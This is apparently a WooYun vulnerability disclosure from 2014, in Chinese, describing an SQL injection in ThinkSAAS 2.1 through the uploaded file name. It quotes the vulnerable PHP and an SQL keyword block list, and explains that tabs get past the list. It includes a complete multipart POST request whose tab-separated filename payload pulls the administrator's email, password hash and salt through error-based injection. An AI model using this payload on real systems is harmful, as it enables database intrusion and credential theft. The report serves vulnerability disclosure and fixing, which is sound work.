当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-051124

漏洞标题:Thinksaas最新版注入无视GPC

相关厂商:thinksaas.cn

漏洞作者: phith0n

提交时间:2014-02-20 13:04

修复时间:2014-05-18 13:05

公开时间:2014-05-18 13:05

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-02-20: 细节已通知厂商并且等待厂商处理中
2014-02-20: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放
2014-04-16: 细节向核心白帽子及相关领域专家公开
2014-04-26: 细节向普通白帽子公开
2014-05-06: 细节向实习白帽子公开
2014-05-18: 细节向公众公开

简要描述:

thinksaas最新版2.1某处sql注入修补不完善,继续注入。

详细说明:

Thinksaas是一款轻量级开源社区系统,界面我很喜欢。官网在http://www.thinksaas.cn/。
说到无视GPC,大家想到什么。Get、Post、Cookie请求不好用的时候,还能用到什么?
当然是SERVER或FILE。
这个cms在全局文件中使用了addslashes对GET、POST、COOKIE进行了过滤,而且在操作数据库的函数中,在where的位置又用了mysql_real_escape_string,所以使得游戏变得很难。
出问题的地方在会员上传资料处/app/attach/action/upload.php,这是上传资料处代码:

...30行
case "do":

$userid = intval($_GET['userid']);
$albumid = intval($_GET['albumid']);
if($userid=='0' || $albumid == 0){
echo '00000';
exit;
}

$attachid = $new['attach']->create('attach',array(
'userid' => $userid,
'locationid'=>aac('user')->getLocationId($userid),
'albumid'=>$albumid,
'addtime' => date('Y-m-d H:i:s'),
));

//上传
$arrUpload = tsUpload($_FILES['Filedata'],$attachid,'attach',array('pptx','docx','pdf','jpg','gif','png','rar','zip','doc','ppt','txt'));

if($arrUpload){
$new['attach']->update('attach',array(
'attachid'=>$attachid,
),array(
'attachname'=>$arrUpload['name'],
'attachtype'=>$arrUpload['type'],
'attachurl'=>$arrUpload['url'],
'attachsize'=>$arrUpload['size'],
));


//对积分进行处理
aac('user')->doScore($app,$ac,$ts,$userid);


}

echo $attachid;

break;


首先获取userid、albumid(这里还存在一个平衡权限问题,这算另一个漏洞),然后使用tsUpload函数对文件进行上传。$_FILES['Filedata']是上传表单的名字。
我们进入这个函数:

/**
* ThinkSAAS专用上传函数
* @param unknown $files 要上传的文件 如$_FILES['photo']
* @param unknown $projectid 上传针对的项目id 如$userid
* @param unknown $dir 上传到目录 如 user
* @param unknown $uptypes 上传类型,数组 array('jpg','png','gif')
* @return multitype:string unknown mixed |boolean 返回数组:array('name'=>'','path'=>'','url'=>'','path'=>'','size'=>'')
*/
function tsUpload($files, $projectid, $dir, $uptypes) {
if ($files ['size'] > 0) {

$menu2 = intval ( $projectid / 1000 );

$menu1 = intval ( $menu2 / 1000 );

$path = $menu1 . '/' . $menu2;

$dest_dir = 'uploadfile/' . $dir . '/' . $path;

createFolders ( $dest_dir );

//$ext = pathinfo($files['name'],PATHINFO_EXTENSION);

$arrType = explode ( '.', strtolower ( $files ['name'] ) ); // 转小写一下

$type = array_pop ( $arrType );

if (in_array ( $type, $uptypes )) {

$name = $projectid . '.' . $type;

$dest = $dest_dir . '/' . $name;

// 先删除
unlink ( $dest );
// 后上传
move_uploaded_file ( $files ['tmp_name'], mb_convert_encoding ( $dest, "gb2312", "UTF-8" ) );

chmod ( $dest, 0777 );

$filesize = filesize ( $dest );
if (intval ( $filesize ) > 0) {
return array (
'name' => tsFilter($files ['name']),
'path' => $path,
'url' => $path . '/' . $name,
'type' => $type,
'size' => $files ['size']
);
} else {
return false;
}
} else {
return false;
}
}
}


重点看到return array 那里,由后面的代码可知,这里返回的一个数组,之后用它就更新数据库(update)。第一个元素是’name’,也就是我们上传的文件名。
有一个过滤的函数tsFilter,我们打开看看:

/**
* 针对特殊字符或者内容的特殊过滤
* @param unknown $value
* @return Ambigous <string, mixed>
*/
function tsFilter($value){
$value = trim($value);
//定义不允许提交的SQl命令和关键字
$words = array();
$words[] = "add ";
$words[] = "and ";
$words[] = "count ";
$words[] = "order ";
$words[] = "table ";
$words[] = "by ";
$words[] = "create ";
$words[] = "delete ";
$words[] = "drop ";
$words[] = "from ";
$words[] = "grant ";
$words[] = "insert ";
$words[] = "select ";
$words[] = "truncate ";
$words[] = "update ";
$words[] = "use ";
$words[] = "--";
$words[] = "#";
$words[] = "group_concat";
$words[] = "column_name";
$words[] = "information_schema.columns";
$words[] = "table_schema";
$words[] = "union ";
$words[] = "where ";
$words[] = "alert";
$value = strtolower($value);//转换为小写
foreach($words as $word){
if(strstr($value,$word)){
$value = str_replace($word,'',$value);
}
}

return $value;
}


看起来过滤了很多很多注入需要的关键字……可是仔细一看,过滤的是类似“select ”这种,关键字后面加了个空格。只要没有这个空格,我们还是能轻松注入。
那么空格用什么代替?第一想到/**/,但这个cms中/会把句子截断,所以不好用(具体为什么查看其他代码)。第二个想到制表符,它能完美代替空格。
回到第一段代码中,我们看到它把获得的name直接作为attachname带入update函数。
$new['attach']->update('attach',array(
'attachid'=>$attachid,
),array(
'attachname'=>$arrUpload['name'],
'attachtype'=>$arrUpload['type'],
'attachurl'=>$arrUpload['url'],
'attachsize'=>$arrUpload['size'],
));
我们来看看update函数:

public function update($table, $conditions, $row) {
$where = "";
if (empty ( $row ))
return FALSE;
if (is_array ( $conditions )) {
$join = array ();
foreach ( $conditions as $key => $condition ) {
$condition = $this->escape ( $condition );
$join [] = "{$key} = {$condition}";
}
$where = "WHERE " . join ( " AND ", $join );
} else {
if (null != $conditions)
$where = "WHERE " . $conditions;
}
foreach ( $row as $key => $value ) {
$vals [] = "`$key` = '$value'";
}
$values = join ( ", ", $vals );
$sql = "UPDATE " . dbprefix . "{$table} SET {$values} {$where}";
//echo $sql;exit;
return $this->db->query ( $sql );
}


我们可以看到,where的位置使用escape函数,其实里面就是一个mysql_real_escape_string,但我们的注入点在'attachname'=’这个位置’,不在where里,所以不用担心。
这个注入为update型注入,因为之前过滤了注释符,所以不好更新信息。不过可以通过报错的方式把管理员账号密码爆出来,这个cms还有一个特点,它虽然不会显示mysql错误,但会把错误保存在/logs/文件夹里,名字就是日期+-mysql-error.txt。这样,我们就可以看到mysql的报错信息,从而爆出得到管理员账号密码。

漏洞证明:

虽然在会员中心,但这个点不用注册即可触发。
我在本地搭建一个最新版本v2.1

001.jpg


向其发送如下数据包:
POST /think/index.php?app=attach&ac=upload&ts=do&userid=1&albumid=1 HTTP/1.1
Host: localhost
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: keep-alive
Content-Type: multipart/form-data; boundary=---------------------------12264161285866
Content-Length: 375
-----------------------------12264161285866
Content-Disposition: form-data; name="Filedata"; filename="abb',a=(select 1 from (select count(*),concat((select concat(email,0x23,pwd,0x23,salt) from ts_user limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)p),b='.txt"
Content-Type: text/plain
let's go~
-----------------------------12264161285866--
注意,filename中都是制表符而不是空格。
返回数据包似乎很正常:

002.jpg


不过我们查看logs目录下的错误文件,因为今天是20140216,所以访问/logs/20140216-mysql-error.txt:

003.jpg


已看到,第一个是管理员邮箱,第二个是密码,第三个是salt。但salt不全(应该限制了长度?),再单独打一次salt即可。
后来我看到xfkxfk大牛曾经发的sql注入, WooYun: ThinkSAAS SQL注入漏洞 ,原来这个地方曾经修补过,就是增加了tsFilter函数过滤了一些常见关键字(包括注释符,弄得很蛋疼),但过滤的并不干净才又产生了这个问题,继续注入。

修复方案:

建议开发者使用mysql_real_escape_string转义文件名这个字段,彻底解决问题。

版权声明:转载请注明来源 phith0n@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2014-05-18 13:05

厂商回复:

此漏洞有已白帽子在其他平台提交过,现已修复,谢谢您的反馈!再次感谢

最新状态:

暂无